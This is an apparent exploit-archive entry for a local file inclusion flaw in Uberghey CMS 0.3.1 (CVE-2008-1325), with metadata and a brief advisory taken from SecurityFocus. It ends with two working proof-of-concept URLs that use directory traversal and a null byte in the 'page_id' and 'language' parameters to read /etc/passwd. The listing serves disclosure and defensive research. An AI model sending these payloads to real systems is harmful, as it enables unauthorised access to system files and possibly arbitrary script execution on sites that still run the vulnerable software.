EXPLOITS

Uberghey CMS 0.3.1 - 'index.php' Multiple Local File Inclusions

Author: muuratsalo
type: webapps
platform: php
port: 
date_added: 2008-03-12  
date_updated: 2014-02-04  
verified: 1  
codes: CVE-2008-1325;OSVDB-43516  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 31387.txt  

source: https://www.securityfocus.com/bid/28217/info

Uberghey CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

Uberghey CMS 0.3.1 is vulnerable; other versions may also be affected.

http://www.example.com/uberghey-0.3.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://www.example.com/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00